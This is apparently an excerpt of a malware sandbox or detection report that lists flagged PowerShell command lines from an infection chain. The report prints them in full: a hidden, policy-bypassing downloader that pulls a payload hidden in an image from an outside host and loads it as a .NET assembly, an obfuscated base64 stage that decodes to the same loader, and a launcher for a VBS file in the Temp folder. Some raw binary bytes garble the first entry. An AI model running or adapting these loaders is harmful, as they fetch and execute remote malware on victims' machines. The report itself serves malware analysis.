Commandline contains PowerShell string "C:\Windows\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypass NoProfile command "$imageUrl 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null ('dHhLllOTy8wMTEvMTkuNi44OS4xNDEvLzpwdHRo' 'C:\Windows\Temp\'; K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M ��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0......." in [Source : 00000000-00000320], Commandline contains PowerShell string "-command "$Codigo = 'JNpssyInNSNGoaPOBpNpssyInNSNGoaPOG0NpssyInNSNGoaPOYQBnNpssyInNSNGoaPOGUNpssyInNSNGoaPOVQByNpssyInNSNGoaPOGwNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPO9NpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJwBoNpssyInNSNGoaPOHQNpssyInNSNGoaPOdNpssyInNSNGoaPOBwNpssyInNSNGoaPOHMNpssyInNSNGoaPOOgNpssyInNSNGoaPOvNpssyInNSNGoaPOC8NpssyInNSNGoaPOaQBtNpssyInNSNGoaPOGENpssyInNSNGoaPOZwBlNpssyInNSNGoaPOHUNpssyInNSNGoaPOcNpssyInNSNGoaPOBsNpssyInNSNGoaPOG8NpssyInNSNGoaPOYQBkNpssyInNSNGoaPOC4NpssyInNSNGoaPOaQBvNpssyInNSNGoaPOC8NpssyInNSNGoaPOaQBiNpssyInNSNGoaPOC8NpssyInNSNGoaPOdwBzNpssyInNSNGoaPODgNpssyInNSNGoaPOTQBBNpssyInNSNGoaPOEoNpssyInNSNGoaPONgBlNpssyInNSNGoaPOHNpssyInNSNGoaPONpssyInNSNGoaPOdNpssyInNSNGoaPOBpNpssyInNSNGoaPOEwNpssyInNSNGoaPOZgBHNpssyInNSNGoaPOHUNpssyInNSNGoaPOXwNpssyInNSNGoaPOxNpssyInNSNGoaPODYNpssyInNSNGoaPOOQNpssyInNSNGoaPO3NpssyInNSNGoaPODcNpssyInNSNGoaPOMwNpssyInNSNGoaPO4NpssyInNSNGoaPODQNpssyInNSNGoaPOOQNpssyInNSNGoaPOyNpssyInNSNGoaPOC4NpssyInNSNGoaPOagBwNpssyInNSNGoaPOGcNpssyInNSNGoaPOJwNpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOdwBlNpssyInNSNGoaPOGINpssyInNSNGoaPOQwBsNpssyInNSNGoaPOGkNpssyInNSNGoaPOZQBuNpssyInNSNGoaPOHQNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPO9NpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOTgBlNpssyInNSNGoaPOHcNpssyInNSNGoaPOLQBPNpssyInNSNGoaPOGINpssyInNSNGoaPOagBlNpssyInNSNGoaPOGMNpssyInNSNGoaPOdNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOFMNpssyInNSNGoaPOeQBzNpssyInNSNGoaPOHQNpssyInNSNGoaPOZQBtNpssyInNSNGoaPOC4NpssyInNSNGoaPOTgBlNpssyInNSNGoaPOHQNpssyInNSNGoaPOLgBXNpssyInNSNGoaPOGUNpssyInNSNGoaPOYgBDNpssyInNSNGoaPOGwNpssyInNSNGoaPOaQBlNpssyInNSNGoaPOG4NpssyInNSNGoaPOdNpssyInNSNGoaPONpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOaQBtNpssyInNSNGoaPOGENpssyInNSNGoaPOZwBlNpssyInNSNGoaPOEINpssyInNSNGoaPOeQB0NpssyInNSNGoaPOGUNpssyInNSNGoaPOcwNpssyInNSNGoaPOgNpssyInNSNGoaPOD0NpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOkNpssyInNSNGoaPOHcNpssyInNSNGoaPOZQBiNpssyInNSNGoaPOEMNpssyInNSNGoaPObNpssyInNSNGoaPOBpNpssyInNSNGoaPOGUNpssyInNSNGoaPObgB0NpssyInNSNGoaPOC4NpssyInNSNGoaPORNpssyInNSNGoaPOBvNpssyInNSNGoaPOHcNpssyInNSNGoaPObgBsNpssyInNSNGoaPOG8NpssyInNSNGoaPOYQBkNpssyInNSNGoaPOEQNpssyInNSNGoaPOYQB0NpssyInNSNGoaPOGENpssyInNSNGoaPOKNpssyInNSNGoaPONpssyInNSNGoaPOkNpssyInNSNGoaPOGkNpssyInNSNGoaPObQBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOZQBVNpssyInNSNGoaPOHINpssyInNSNGoaPObNpssyInNSNGoaPONpssyInNSNGoaPOpNpssyInNSNGoaPODsNpssyInNSNGoaPOJNpssyInNSNGoaPOBpNpssyInNSNGoaPOG0NpssyInNSNGoaPOYQBnNpssyInNSNGoaPOGUNpssyInNSNGoaPOVNpssyInNSNGoaPOBlNpssyInNSNGoaPOHgNpssyInNSNGoaPOdNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOD0NpssyInNSNGoaPOINpssyInNSNGoaPOBbNpssyInNSNGoaPOFMNpssyInNSNGoaPOeQBzNpssyInNSNGoaPOHQNpssyInNSNGoaPOZQBtNpssyInNSNGoaPOC4NpssyInNSNGoaPOVNpssyInNSNGoaPOBlNpssyInNSNGoaPOHgNpssyInNSNGoaPOdNpssyInNSNGoaPONpssyInNSNGoaPOuNpssyInNSNGoaPOEUNpssyInNSNGoaPObgBjNpssyInNSNGoaPOG8NpssyInNSNGoaPOZNpssyInNSNGoaPOBpNpssyInNSNGoaPOG4NpssyInNSNGoaPOZwBdNpssyInNSNGoaPODoNpssyInNSNGoaPOOgBVNpssyInNSNGoaPOFQNpssyInNSNGoaPORgNpssyInNSNGoaPO4NpssyInNSNGoaPOC4NpssyInNSNGoaPORwBlNpssyInNSNGoaPOHQNpssyInNSNGoaPOUwB0NpssyInNSNGoaPOHINpssyInNSNGoaPOaQBuNpssyInNSNGoaPOGcNpssyInNSNGoaPOKNpssyInNSNGoaPONpssyInNSNGoaPOkNpssyInNSNGoaPOGkNpssyInNSNGoaPObQBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOZQBCNpssyInNSNGoaPOHkNpssyInNSNGoaPOdNpssyInNSNGoaPOBlNpssyInNSNGoaPOHMNpssyInNSNGoaPOKQNpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEYNpssyInNSNGoaPObNpssyInNSNGoaPOBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPO9NpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJwNpssyInNSNGoaPO8NpssyInNSNGoaPODwNpssyInNSNGoaPOQgBBNpssyInNSNGoaPOFMNpssyInNSNGoaPORQNpssyInNSNGoaPO2NpssyInNSNGoaPODQNpssyInNSNGoaPOXwBTNpssyInNSNGoaPOFQNpssyInNSNGoaPOQQBSNpssyInNSNGoaPOFQNpssyInNSNGoaPOPgNpssyInNSNGoaPO+NpssyInNSNGoaPOCcNpssyInNSNGoaPOOwNpssyInNSNGoaPOkNpssyInNSNGoaPOGUNpssyInNSNGoaPObgBkNpssyInNSNGoaPOEYNpssyInNSNGoaPObNpssyInNSNGoaPOBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPO9NpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJwNpssyInNSNGoaPO8NpssyInNSNGoaPODwNpssyInNSNGoaPOQgBBNpssyInNSNGoaPOFMNpssyInNSNGoaPORQNpssyInNSNGoaPO2NpssyInNSNGoaPODQNpssyInNSNGoaPOXwBFNpssyInNSNGoaPOE4NpssyInNSNGoaPORNpssyInNSNGoaPONpssyInNSNGoaPO+NpssyInNSNGoaPOD4NpssyInNSNGoaPOJwNpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEkNpssyInNSNGoaPObgBkNpssyInNSNGoaPOGUNpssyInNSNGoaPOeNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOD0NpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOkNpssyInNSNGoaPOGkNpssyInNSNGoaPObQBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOZQBUNpssyInNSNGoaPOGUNpssyInNSNGoaPOeNpssyInNSNGoaPOB0NpssyInNSNGoaPOC4NpssyInNSNGoaPOSQBuNpssyInNSNGoaPOGQNpssyInNSNGoaPOZQB4NpssyInNSNGoaPOE8NpssyInNSNGoaPOZgNpssyInNSNGoaPOoNpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEYNpssyInNSNGoaPObNpssyInNSNGoaPOBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOKQNpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOZQBuNpssyInNSNGoaPOGQNpssyInNSNGoaPOSQBuNpssyInNSNGoaPOGQNpssyInNSNGoaPOZQB4NpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOPQNpssyInNSNGoaPOgNpssyInNSNGoaPOCQNpssyInNSNGoaPOaQBtNpssyInNSNGoaPOGENpssyInNSNGoaPOZwBlNpssyInNSNGoaPOFQNpssyInNSNGoaPOZQB4NpssyInNSNGoaPOHQNpssyInNSNGoaPOLgBJNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBlNpssyInNSNGoaPOHgNpssyInNSNGoaPOTwBmNpssyInNSNGoaPOCgNpssyInNSNGoaPOJNpssyInNSNGoaPOBlNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBGNpssyInNSNGoaPOGwNpssyInNSNGoaPOYQBnNpssyInNSNGoaPOCkNpssyInNSNGoaPOOwNpssyInNSNGoaPOkNpssyInNSNGoaPOHMNpssyInNSNGoaPOdNpssyInNSNGoaPOBhNpssyInNSNGoaPOHINpssyInNSNGoaPOdNpssyInNSNGoaPOBJNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBlNpssyInNSNGoaPOHgNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOtNpssyInNSNGoaPOGcNpssyInNSNGoaPOZQNpssyInNSNGoaPOgNpssyInNSNGoaPODNpssyInNSNGoaPONpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOtNpssyInNSNGoaPOGENpssyInNSNGoaPObgBkNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJNpssyInNSNGoaPOBlNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBJNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBlNpssyInNSNGoaPOHgNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOtNpssyInNSNGoaPOGcNpssyInNSNGoaPOdNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEkNpssyInNSNGoaPObgBkNpssyInNSNGoaPOGUNpssyInNSNGoaPOeNpssyInNSNGoaPONpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEkNpssyInNSNGoaPObgBkNpssyInNSNGoaPOGUNpssyInNSNGoaPOeNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOCsNpssyInNSNGoaPOPQNpssyInNSNGoaPOgNpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEYNpssyInNSNGoaPObNpssyInNSNGoaPOBhNpssyInNSNGoaPOGcNpssyInNSNGoaPOLgBMNpssyInNSNGoaPOGUNpssyInNSNGoaPObgBnNpssyInNSNGoaPOHQNpssyInNSNGoaPOaNpssyInNSNGoaPONpssyInNSNGoaPO7NpssyInNSNGoaPOCQNpssyInNSNGoaPOYgBhNpssyInNSNGoaPOHMNpssyInNSNGoaPOZQNpssyInNSNGoaPO2NpssyInNSNGoaPODQNpssyInNSNGoaPOTNpssyInNSNGoaPOBlNpssyInNSNGoaPOG4NpssyInNSNGoaPOZwB0NpssyInNSNGoaPOGgNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPO9NpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJNpssyInNSNGoaPOBlNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBJNpssyInNSNGoaPOG4NpssyInNSNGoaPOZNpssyInNSNGoaPOBlNpssyInNSNGoaPOHgNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOtNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJNpssyInNSNGoaPOBzNpssyInNSNGoaPOHQNpssyInNSNGoaPOYQByNpssyInNSNGoaPOHQNpssyInNSNGoaPOSQBuNpssyInNSNGoaPOGQNpssyInNSNGoaPOZQB4NpssyInNSNGoaPODsNpssyInNSNGoaPOJNpssyInNSNGoaPOBiNpssyInNSNGoaPOGENpssyInNSNGoaPOcwBlNpssyInNSNGoaPODYNpssyInNSNGoaPONNpssyInNSNGoaPOBDNpssyInNSNGoaPOG8NpssyInNSNGoaPObQBtNpssyInNSNGoaPOGENpssyInNSNGoaPObgBkNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOPQNpssyInNSNGoaPOgNpssyInNSNGoaPOCQNpssyInNSNGoaPOaQBtNpssyInNSNGoaPOGENpssyInNSNGoaPOZwBlNpssyInNSNGoaPOFQNpssyInNSNGoaPOZQB4NpssyInNSNGoaPOHQNpssyInNSNGoaPOLgBTNpssyInNSNGoaPOHUNpssyInNSNGoaPOYgBzNpssyInNSNGoaPOHQNpssyInNSNGoaPOcgBpNpssyInNSNGoaPOG4NpssyInNSNGoaPOZwNpssyInNSNGoaPOoNpssyInNSNGoaPOCQNpssyInNSNGoaPOcwB0NpssyInNSNGoaPOGENpssyInNSNGoaPOcgB0NpssyInNSNGoaPOEkNpssyInNSNGoaPObgBkNpssyInNSNGoaPOGUNpssyInNSNGoaPOeNpssyInNSNGoaPONpssyInNSNGoaPOsNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJNpssyInNSNGoaPOBiNpssyInNSNGoaPOGENpssyInNSNGoaPOcwBlNpssyInNSNGoaPODYNpssyInNSNGoaPONNpssyInNSNGoaPOBMNpssyInNSNGoaPOGUNpssyInNSNGoaPObgBnNpssyInNSNGoaPOHQNpssyInNSNGoaPOaNpssyInNSNGoaPONpssyInNSNGoaPOpNpssyInNSNGoaPODsNpssyInNSNGoaPOJNpssyInNSNGoaPOBjNpssyInNSNGoaPOG8NpssyInNSNGoaPObQBtNpssyInNSNGoaPOGENpssyInNSNGoaPObgBkNpssyInNSNGoaPOEINpssyInNSNGoaPOeQB0NpssyInNSNGoaPOGUNpssyInNSNGoaPOcwNpssyInNSNGoaPOgNpssyInNSNGoaPOD0NpssyInNSNGoaPOINpssyInNSNGoaPOBbNpssyInNSNGoaPOFMNpssyInNSNGoaPOeQBzNpssyInNSNGoaPOHQNpssyInNSNGoaPOZQBtNpssyInNSNGoaPOC4NpssyInNSNGoaPOQwBvNpssyInNSNGoaPOG4NpssyInNSNGoaPOdgBlNpssyInNSNGoaPOHINpssyInNSNGoaPOdNpssyInNSNGoaPOBdNpssyInNSNGoaPODoNpssyInNSNGoaPOOgBGNpssyInNSNGoaPOHINpssyInNSNGoaPObwBtNpssyInNSNGoaPOEINpssyInNSNGoaPOYQBzNpssyInNSNGoaPOGUNpssyInNSNGoaPONgNpssyInNSNGoaPO0NpssyInNSNGoaPOFMNpssyInNSNGoaPOdNpssyInNSNGoaPOByNpssyInNSNGoaPOGkNpssyInNSNGoaPObgBnNpssyInNSNGoaPOCgNpssyInNSNGoaPOJNpssyInNSNGoaPOBiNpssyInNSNGoaPOGENpssyInNSNGoaPOcwBlNpssyInNSNGoaPODYNpssyInNSNGoaPONNpssyInNSNGoaPOBDNpssyInNSNGoaPOG8NpssyInNSNGoaPObQBtNpssyInNSNGoaPOGENpssyInNSNGoaPObgBkNpssyInNSNGoaPOCkNpssyInNSNGoaPOOwNpssyInNSNGoaPOkNpssyInNSNGoaPOGwNpssyInNSNGoaPObwBhNpssyInNSNGoaPOGQNpssyInNSNGoaPOZQBkNpssyInNSNGoaPOEENpssyInNSNGoaPOcwBzNpssyInNSNGoaPOGUNpssyInNSNGoaPObQBiNpssyInNSNGoaPOGwNpssyInNSNGoaPOeQNpssyInNSNGoaPOgNpssyInNSNGoaPOD0NpssyInNSNGoaPOINpssyInNSNGoaPOBbNpssyInNSNGoaPOFMNpssyInNSNGoaPOeQBzNpssyInNSNGoaPOHQNpssyInNSNGoaPOZQBtNpssyInNSNGoaPOC4NpssyInNSNGoaPOUgBlNpssyInNSNGoaPOGYNpssyInNSNGoaPObNpssyInNSNGoaPOBlNpssyInNSNGoaPOGMNpssyInNSNGoaPOdNpssyInNSNGoaPOBpNpssyInNSNGoaPOG8NpssyInNSNGoaPObgNpssyInNSNGoaPOuNpssyInNSNGoaPOEENpssyInNSNGoaPOcwBzNpssyInNSNGoaPOGUNpssyInNSNGoaPObQBiNpssyInNSNGoaPOGwNpssyInNSNGoaPOeQBdNpssyInNSNGoaPODoNpssyInNSNGoaPOOgBMNpssyInNSNGoaPOG8NpssyInNSNGoaPOYQBkNpssyInNSNGoaPOCgNpssyInNSNGoaPOJNpssyInNSNGoaPOBjNpssyInNSNGoaPOG8NpssyInNSNGoaPObQBtNpssyInNSNGoaPOGENpssyInNSNGoaPObgBkNpssyInNSNGoaPOEINpssyInNSNGoaPOeQB0NpssyInNSNGoaPOGUNpssyInNSNGoaPOcwNpssyInNSNGoaPOpNpssyInNSNGoaPODsNpssyInNSNGoaPOJNpssyInNSNGoaPOB0NpssyInNSNGoaPOHkNpssyInNSNGoaPOcNpssyInNSNGoaPOBlNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOPQNpssyInNSNGoaPOgNpssyInNSNGoaPOCQNpssyInNSNGoaPObNpssyInNSNGoaPOBvNpssyInNSNGoaPOGENpssyInNSNGoaPOZNpssyInNSNGoaPOBlNpssyInNSNGoaPOGQNpssyInNSNGoaPOQQBzNpssyInNSNGoaPOHMNpssyInNSNGoaPOZQBtNpssyInNSNGoaPOGINpssyInNSNGoaPObNpssyInNSNGoaPOB5NpssyInNSNGoaPOC4NpssyInNSNGoaPORwBlNpssyInNSNGoaPOHQNpssyInNSNGoaPOVNpssyInNSNGoaPOB5NpssyInNSNGoaPOHNpssyInNSNGoaPONpssyInNSNGoaPOZQNpssyInNSNGoaPOoNpssyInNSNGoaPOCcNpssyInNSNGoaPORgBpNpssyInNSNGoaPOGINpssyInNSNGoaPOZQByNpssyInNSNGoaPOC4NpssyInNSNGoaPOSNpssyInNSNGoaPOBvNpssyInNSNGoaPOG0NpssyInNSNGoaPOZQNpssyInNSNGoaPOnNpssyInNSNGoaPOCkNpssyInNSNGoaPOOwNpssyInNSNGoaPOkNpssyInNSNGoaPOG0NpssyInNSNGoaPOZQB0NpssyInNSNGoaPOGgNpssyInNSNGoaPObwBkNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOPQNpssyInNSNGoaPOgNpssyInNSNGoaPOCQNpssyInNSNGoaPOdNpssyInNSNGoaPOB5NpssyInNSNGoaPOHNpssyInNSNGoaPONpssyInNSNGoaPOZQNpssyInNSNGoaPOuNpssyInNSNGoaPOEcNpssyInNSNGoaPOZQB0NpssyInNSNGoaPOE0NpssyInNSNGoaPOZQB0NpssyInNSNGoaPOGgNpssyInNSNGoaPObwBkNpssyInNSNGoaPOCgNpssyInNSNGoaPOJwBWNpssyInNSNGoaPOEENpssyInNSNGoaPOSQNpssyInNSNGoaPOnNpssyInNSNGoaPOCkNpssyInNSNGoaPOLgBJNpssyInNSNGoaPOG4NpssyInNSNGoaPOdgBvNpssyInNSNGoaPOGsNpssyInNSNGoaPOZQNpssyInNSNGoaPOoNpssyInNSNGoaPOCQNpssyInNSNGoaPObgB1NpssyInNSNGoaPOGwNpssyInNSNGoaPObNpssyInNSNGoaPONpssyInNSNGoaPOsNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOWwBvNpssyInNSNGoaPOGINpssyInNSNGoaPOagBlNpssyInNSNGoaPOGMNpssyInNSNGoaPOdNpssyInNSNGoaPOBbNpssyInNSNGoaPOF0NpssyInNSNGoaPOXQNpssyInNSNGoaPOgNpssyInNSNGoaPOCgNpssyInNSNGoaPOJwBkNpssyInNSNGoaPOEgNpssyInNSNGoaPOaNpssyInNSNGoaPONpssyInNSNGoaPOwNpssyInNSNGoaPOEwNpssyInNSNGoaPObNpssyInNSNGoaPOBsNpssyInNSNGoaPOE8NpssyInNSNGoaPOVNpssyInNSNGoaPOB5NpssyInNSNGoaPODgNpssyInNSNGoaPOdwBNNpssyInNSNGoaPOFQNpssyInNSNGoaPORQB2NpssyInNSNGoaPOE0NpssyInNSNGoaPOVNpssyInNSNGoaPOBrNpssyInNSNGoaPOHUNpssyInNSNGoaPOTgBpNpssyInNSNGoaPODQNpssyInNSNGoaPONNpssyInNSNGoaPOBPNpssyInNSNGoaPOFMNpssyInNSNGoaPONNpssyInNSNGoaPOB4NpssyInNSNGoaPOE4NpssyInNSNGoaPORNpssyInNSNGoaPOBFNpssyInNSNGoaPOHYNpssyInNSNGoaPOTNpssyInNSNGoaPOB6NpssyInNSNGoaPOHNpssyInNSNGoaPONpssyInNSNGoaPOdwBkNpssyInNSNGoaPOEgNpssyInNSNGoaPOUgBvNpssyInNSNGoaPOCcNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOsNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJwNpssyInNSNGoaPOnNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOLNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOCcNpssyInNSNGoaPOMgNpssyInNSNGoaPOnNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOLNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOCcNpssyInNSNGoaPOaNpssyInNSNGoaPOBrNpssyInNSNGoaPOGMNpssyInNSNGoaPObQBkNpssyInNSNGoaPOCcNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOsNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJwNpssyInNSNGoaPO1NpssyInNSNGoaPOCcNpssyInNSNGoaPOINpssyInNSNGoaPONpssyInNSNGoaPOsNpssyInNSNGoaPOCNpssyInNSNGoaPONpssyInNSNGoaPOJwBDNpssyInNSNGoaPODoNpssyInNSNGoaPOXNpssyInNSNGoaPOBXNpssyInNSNGoaPOGkNpssyInNSNGoaPObgBkNpssyInNSNGoaPOG8NpssyInNSNGoaPOdwBzNpssyInNSNGoaPOFwNpssyInNSNGoaPOVNpssyInNSNGoaPOBlNpssyInNSNGoaPOG0NpssyInNSNGoaPOcNpssyInNSNGoaPOBcNpssyInNSNGoaPOCcNpssyInNSNGoaPOLNpssyInNSNGoaPONpssyInNSNGoaPOgNpssyInNSNGoaPOCcNpssyInNSNGoaPOaNpssyInNSNGoaPOB0NpssyInNSNGoaPOG0NpssyInNSNGoaPObNpssyInNSNGoaPONpssyInNSNGoaPOnNpssyInNSNGoaPOCkNpssyInNSNGoaPOKQNpssyInNSNGoaPO=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('NpssyInNSNGoaPO','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"......." in [Source : powershell.exe] Commandline contains PowerShell string "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden Start-Sleep 5;Start-Process %WINDIR%\Temp\hkcmd.vbs......." in [Source : powershell.exe]